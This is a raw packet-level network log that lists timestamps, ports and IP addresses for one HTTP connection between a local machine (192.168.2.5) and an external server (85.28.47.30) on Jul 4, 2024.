Jul 4, 2024 22:20:30.261888981 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.261900902 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.261910915 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.261923075 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.261929035 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.261934042 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.261946917 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.261953115 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.261953115 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.261960983 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.261977911 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.261980057 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.261998892 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.262023926 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.262218952 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.262231112 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.262270927 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.262270927 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.262317896 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.262331009 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.262342930 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.262355089 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.262366056 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.262372971 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.262372971 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.262378931 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.262392998 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.262407064 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.262413025 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.262413025 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.262453079 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.262453079 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.262953997 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.262965918 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.262975931 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.262989044 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.263000011 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.263010979 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.263014078 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.263022900 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.263022900 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.263035059 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.263047934 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.263051033 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.263058901 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.263062000 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.263072014 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.263083935 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.263094902 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.263102055 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.263102055 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.263108969 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.263125896 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.263127089 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.263138056 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.263154984 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.263179064 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.263897896 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.263911009 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.263921022 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.263931036 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.263947964 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.263950109 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.263961077 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.263972044 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.263978958 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.263983965 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.263998032 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.263998032 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.264010906 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.264013052 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.264025927 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.264029980 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.264039993 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.264051914 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.264055967 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.264064074 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.264075994 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.264080048 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.264087915 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.264098883 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.264100075 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.264113903 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.264121056 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.264132977 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.264167070 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.264844894 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.264857054 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.264867067 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.264878035 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.264890909 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.264902115 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.264906883 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.264906883 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.264914989 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.264929056 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.264940977 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.264950991 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.264950991 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.264954090 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.264966965 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.264981031 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.264981985 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.264995098 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.265007019 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.265013933 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.265013933 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.265019894 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.265037060 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.265038013 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.265053988 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.265078068 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.265945911 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.265969992 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.265981913 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.265991926 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.265993118 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.266007900 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.266019106 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.266019106 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.266032934 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.266047955 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.266057968 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.266057968 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.266058922 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.266078949 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.266102076 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.266102076 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.354940891 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.354953051 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.354963064 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.355005980 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.355041027 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.355284929 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.355295897 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.355305910 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.355323076 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.355360031 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.355381966 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.355391026 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.355402946 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.355412960 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.355456114 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.355456114 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.355586052 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.355597973 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.355609894 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.355622053 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.355633020 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.355643034 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.355648041 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.355654001 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.355655909 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.355681896 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.355710983 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.356144905 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.356154919 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.356164932 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.356184959 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.356195927 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.356199980 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.356208086 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.356220961 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.356223106 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.356265068 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.356265068 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.356596947 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.356609106 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.356618881 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.356630087 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.356640100 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.356648922 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.356651068 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.356663942 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.356673956 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.356677055 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.356708050 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.356708050 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.356756926 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.357239008 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.357249022 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.357259035 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.357269049 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.357275009 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.357280016 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.357284069 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.357285976 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.357290983 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.357295990 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.357304096 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.357311010 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.357315063 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.357321024 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.357409954 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.357489109 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.358098984 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.358119965 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.358133078 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.358149052 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.358160019 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.358160019 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.358160019 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.358171940 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.358184099 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.358196020 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.358207941 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.358217001 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.358217001 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.358221054 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.358231068 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.358237028 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.358249903 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.358259916 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.358263016 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.358289003 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.358380079 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.359096050 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.359107971 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.359119892 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.359132051 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.359143019 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.359153986 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.359154940 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.359167099 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.359168053 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.359180927 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.359194040 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.359206915 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.359210014 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.359210014 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.359217882 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.359231949 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.359241009 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.359252930 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.359255075 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.359255075 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.359307051 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.359307051 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.360048056 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.360060930 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.360071898 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.360085964 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.360096931 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.360110044 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.360120058 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.360120058 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.360127926 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.360138893 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.360141993 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.360152006 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.360165119 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.360172987 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.360172987 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.360176086 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.360188961 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.360203981 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.360209942 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.360209942 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.360217094 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.360264063 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.360264063 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.360958099 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.360970974 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.360980034 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.360992908 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.361004114 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.361010075 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.361018896 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.361033916 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.361042023 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.361042023 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.361047029 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.361059904 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.361073017 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.361087084 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.361094952 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.361094952 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.361100912 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.361121893 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.361135006 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.361135006 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.361160040 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.361869097 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.361887932 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.361901999 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.361913919 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.361923933 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.361927032 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.361927032 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.361937046 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.361948967 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.361960888 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.361970901 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.361970901 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.361974955 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.361989021 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.361989021 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.362016916 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.362047911 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.448932886 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.449007034 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.449016094 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.449068069 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.449095964 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.449162006 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.449172020 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.449182987 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.449193001 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.449214935 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.449242115 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.449254036 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.449415922 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.449426889 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.449436903 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.449443102 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.449454069 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.449459076 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.449465036 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.449465036 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.449470043 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.449495077 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.449507952 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.449565887 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.449882984 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.449894905 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.449903965 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.449918985 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.449930906 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.449942112 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.449945927 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.449945927 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.449954033 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.449985027 CEST	49704	80	192.168.2.5	85.28.47.30
